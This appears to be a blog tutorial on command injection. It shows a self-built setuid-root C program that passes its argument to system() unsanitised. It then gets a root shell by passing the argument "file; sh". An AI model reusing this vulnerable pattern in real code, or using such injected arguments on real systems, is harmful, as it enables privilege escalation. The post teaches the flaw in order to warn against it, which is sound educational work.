Skip to content

A case of command injection

Let’s see an example of command injection. We’re given an executable file acat that reads the contents of restricted documents.

$ cat secret
cat: secret: Permission denied
$ ./acat secret 
my_secret_password

This happens because secret is owned by root and only it has read access permission to this file.

$ ls -al secret 
-r-------- 1 root user 19 sep 08 18:22 secret

When we examine the acat executable, we can see that it has the setuid bit set (it’s the s after wand before r).

$ ls -al acat
-rwsr-xr-x 1 root user 16944 sep  4 13:44 acat

The setuid bit allows us to execute acat with the privileges of the file owner, in this case root.

Examining acat

The source code of acat is as follows:

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define MAXLINE 128

int main(int argc, char *argv[]) {
  char buff[MAXLINE] = "/bin/cat ";
  
  if (argc != 2) {
    fprintf(stderr, "Usage: ./acat <file>\n");
    return 0;
  }

  strncat(buff, argv[1], MAXLINE - strlen(buff) - 1);
  setreuid(geteuid(), geteuid());
  system(buff);
  return 0;
}

The two relevant function calls are setreuid and system. Even though we execute acat as user, the effective user id is that of the file owner, root (because the setuid bit is set). Then, geteuid() will return 0, which is the user ID of root. Calling setreuid with this argument will give the program root privileges.

system executes a shell command. In this case, we call it with argument:

system("/bin/cat <arg>")

Where arg is the command-line argument passed to the program.

We compile and set the setuid bit of this program as follows:

$ gcc -o acat acat.c
$ sudo chown root acat
$ sudo chmod u+s acat

Which will generate a acatexecutable as the one we described at the beginning of this post.

Exploiting acat

A setuid programs is vulnerable to exploits such as privilege escalation and we should be very careful when writing or using one.

The problem with our example program is that it doesn’t sanitize its input! We can pass anything to it and it will blindly try to run it.

$ ./acat "file1 file2"
/bin/cat: file1: No such file or directory
/bin/cat: file2: No such file or directory

This can be readily exploited to get access to a root shell.

$ whoami
user
$ ./acat "file; sh"
/bin/cat: file: No such file or directory
# whoami
root

The ; is used to separate command-line commands. Effectively, we’re running the two following commands (with root privileges):

$ /bin/cat file
$ sh

Which will spawn a rootshell as we saw above.

Calls to system, especially in a setuid executable, open the way to many vulnerabilities and we should be very careful with them.

Published inProgramming
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments